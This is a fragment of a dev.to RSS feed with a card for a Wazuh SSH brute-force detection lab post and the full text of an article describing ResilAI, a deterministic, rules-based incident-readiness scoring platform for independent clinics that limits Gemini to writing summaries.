          &lt;div&gt;
            &lt;a href="/devyani_nandanwar_5" class="crayons-story__secondary fw-medium m:hidden"&gt;
              Devyani Nandanwar
            &lt;/a&gt;
            &lt;div class="profile-preview-card relative mb-4 s:mb-0 fw-medium hidden m:inline-block"&gt;
              
                Devyani Nandanwar
                
                
              
              &lt;div id="story-author-preview-content-4830557" class="profile-preview-card__content crayons-dropdown branded-7 p-4 pt-0"&gt;
                &lt;div class="gap-4 grid"&gt;
                  &lt;div class="-mt-4"&gt;
                    &lt;a href="/devyani_nandanwar_5" class="flex"&gt;
                      &lt;span class="crayons-avatar crayons-avatar--xl mr-2 shrink-0"&gt;
                        &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4176045%2Fe03d3b34-7b0d-4e69-81db-5b400f7d7806.jpg" class="crayons-avatar__image" alt=""&gt;
                      &lt;/span&gt;
                      &lt;span class="crayons-link crayons-subtitle-2 mt-5"&gt;Devyani Nandanwar&lt;/span&gt;
                    &lt;/a&gt;
                  &lt;/div&gt;
                  &lt;div class="print-hidden"&gt;
                    
                      Follow
                    
                  &lt;/div&gt;
                  &lt;div class="author-preview-metadata-container"&gt;&lt;/div&gt;
                &lt;/div&gt;
              &lt;/div&gt;
            &lt;/div&gt;

          &lt;/div&gt;
          &lt;a href="https://dev.to/devyani_nandanwar_5/detection-engineering-lab-building-a-wazuh-siem-and-writing-a-custom-rule-for-ssh-brute-force-12dd" class="crayons-story__tertiary fs-xs"&gt;&lt;time&gt;Oct 10&lt;/time&gt;&lt;span class="time-ago-indicator-initial-placeholder"&gt;&lt;/span&gt;&lt;/a&gt;
        &lt;/div&gt;
      &lt;/div&gt;

    &lt;/div&gt;

    &lt;div class="crayons-story__indention"&gt;
      &lt;h2 class="crayons-story__title crayons-story__title-full_post"&gt;
        &lt;a href="https://dev.to/devyani_nandanwar_5/detection-engineering-lab-building-a-wazuh-siem-and-writing-a-custom-rule-for-ssh-brute-force-12dd" id="article-link-4830557"&gt;
          Detection Engineering Lab: Building a Wazuh SIEM and Writing a Custom Rule for SSH Brute Force
        &lt;/a&gt;
      &lt;/h2&gt;
        &lt;div class="crayons-story__tags"&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/security"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;security&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/cybersecurity"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;cybersecurity&lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="crayons-story__bottom"&gt;
        &lt;div class="crayons-story__details"&gt;
          &lt;a href="https://dev.to/devyani_nandanwar_5/detection-engineering-lab-building-a-wazuh-siem-and-writing-a-custom-rule-for-ssh-brute-force-12dd" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left"&gt;
            &lt;div class="multiple_reactions_aggregate"&gt;
              &lt;span class="multiple_reactions_icons_container"&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/multi-unicorn-b44d6f8c23cdd00964192bedc38af3e82463978aa611b4365bd33a0f1f4f3e97.svg" width="18" height="18"&gt;
                  &lt;/span&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/sparkle-heart-5f9bee3767e18deb1bb725290cb151c25234768a0e9a2bd39370c382d02920cf.svg" width="18" height="18"&gt;
                  &lt;/span&gt;
              &lt;/span&gt;
              &lt;span class="aggregate_reactions_counter"&gt;2&lt;span class="hidden s:inline"&gt;&amp;nbsp;reactions&lt;/span&gt;&lt;/span&gt;
            &lt;/div&gt;
          &lt;/a&gt;
            &lt;a href="https://dev.to/devyani_nandanwar_5/detection-engineering-lab-building-a-wazuh-siem-and-writing-a-custom-rule-for-ssh-brute-force-12dd#comments" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left flex items-center"&gt;
              

              2&lt;span class="hidden s:inline"&gt;&amp;nbsp;comments&lt;/span&gt;
            &lt;/a&gt;
        &lt;/div&gt;
        &lt;div class="crayons-story__save"&gt;
          &lt;small class="crayons-story__tertiary fs-xs mr-2"&gt;
            5 min read
          &lt;/small&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;


</description>
      <category>cybersecurity</category>
      <category>security</category>
    </item>
    <item>
      <title>How We Built ResilAI: A Deterministic Incident Readiness Engine for Independent Clinics</title>
      <dc:creator>Purvansh Bhatt</dc:creator>
      <pubDate>Wed, 19 Aug 2026 20:09:48 +0000</pubDate>
      <link>https://dev.to/purvanshbhatt/how-we-built-resilai-a-deterministic-incident-readiness-engine-for-independent-clinics-22d4</link>
      <guid>https://dev.to/purvanshbhatt/how-we-built-resilai-a-deterministic-incident-readiness-engine-for-independent-clinics-22d4</guid>
      <description>&lt;h1&gt;
  
  
  Why Build Another Security Platform? Navigating the Noise in Healthcare Cyber Defense
&lt;/h1&gt;

&lt;p&gt;Independent clinics today are drowning in a sea of telemetry. They don’t need another SIEM, another vulnerability scanner, or another high-level dashboard that prioritizes vendor lock-in over actionable insight. What they actually need is a reliable translation layer—a bridge between complex, raw technical data and the harsh reality of their daily business operations.&lt;/p&gt;

&lt;p&gt;ResilAI was built to answer one fundamental, mission-critical question: &lt;strong&gt;“Can this clinic safely operate today?”&lt;/strong&gt; To provide an answer that healthcare providers can actually trust, we chose to rely on the bedrock of deterministic math rather than the unpredictable nature of LLM inference.&lt;/p&gt;




&lt;h2&gt;
  
  
  Technical Architecture Overview
&lt;/h2&gt;

&lt;p&gt;We’ve focused on a clean, maintainable stack designed to handle high-frequency data ingestion while remaining modular for rapid deployment in clinical environments.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Frontend:&lt;/strong&gt; React + Vite + TypeScript for a lightning-fast, reactive user experience.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Backend:&lt;/strong&gt; FastAPI Core, chosen for its asynchronous capabilities and high performance.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Database:&lt;/strong&gt; Cloud SQL (PostgreSQL) for production, with SQLite support for local development.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;AI Layer:&lt;/strong&gt; Google Gemini 1.5 Pro (Restricted to narrative and summarization tasks only).&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Core Components: The Engine of Resilience
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. The Connector Ingestion Layer
&lt;/h3&gt;

&lt;p&gt;Our platform pulls normalized evidence from critical infrastructure points including Splunk, Wazuh, Elastic, Okta, various backup systems, and major cloud providers. A core design philosophy here is that these connectors are intentionally “dumb”—their only responsibility is transport. They never attempt to weigh, score, or calculate risk.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. The Capability Engine (Deterministic Rules)
&lt;/h3&gt;

&lt;p&gt;This is where the heavy lifting happens. We evaluate ingested evidence against standardized frameworks such as NIST CSF 2.0, CIS Controls, OWASP, internal lifecycle rules, and specific SLA requirements. By keeping this layer separate from AI:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  We eliminate hallucinations in risk assessment.&lt;/li&gt;
&lt;li&gt;  We ensure there is no severity inference bias.&lt;/li&gt;
&lt;li&gt;  We guarantee that scores are never subject to black-box manipulation.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3. The Business Moment Engine
&lt;/h3&gt;

&lt;p&gt;Data is useless if it doesn't lead to action. Our engine transforms dry technical findings into human-readable risks by articulating the "So What?" for non-technical stakeholders:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Context:&lt;/strong&gt; What specifically happened.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Relevance:&lt;/strong&gt; Why it matters to clinical uptime.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Operational Cost:&lt;/strong&gt; Estimated fix time and resource requirements.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Verification:&lt;/strong&gt; Direct evidence references.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Remediation:&lt;/strong&gt; Clear, binary action items.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4. The AI Narrative Engine
&lt;/h3&gt;

&lt;p&gt;We leverage Google Gemini exclusively for the final mile: executive summaries, plain-English explanations, and structured remediation instructions. We maintain a strict policy—&lt;strong&gt;LLMs are explicitly banned from the scoring pipeline.&lt;/strong&gt; By decoupling the "what" (scoring) from the "how" (reporting), we maintain institutional integrity.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Governance Health Index (GHI)
&lt;/h2&gt;

&lt;p&gt;The GHI serves as our "North Star" metric for clinic readiness. It is a weighted, transparent calculation:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;GHI = (Audit Score × 0.4) + (Lifecycle Score × 0.3) + (SLA Gap Score × 0.2) + (Compliance Score × 0.1)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This model offers three distinct advantages:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Fully reproducible:&lt;/strong&gt; You can run the math yourself and get the same result every time.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Fully transparent:&lt;/strong&gt; There is no hidden heuristic or "proprietary secret sauce" affecting your status.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Fully auditable:&lt;/strong&gt; Every point in the GHI can be traced back to a specific log entry or system configuration.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Why This Matters for Modern Healthcare
&lt;/h2&gt;

&lt;p&gt;The healthcare landscape is rapidly shifting toward AI-integrated assistants, cloud-first workflows, and remote MSP support, all while navigating a tightening regulatory environment. When a clinic’s ability to treat patients is on the line, they require deterministic readiness—not probabilistic AI guesses.&lt;/p&gt;

&lt;p&gt;By grounding our platform in verifiable math, we provide the clarity required to keep the lights on and the data safe.&lt;/p&gt;




</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>security</category>
    </item>
  </channel>
</rss>
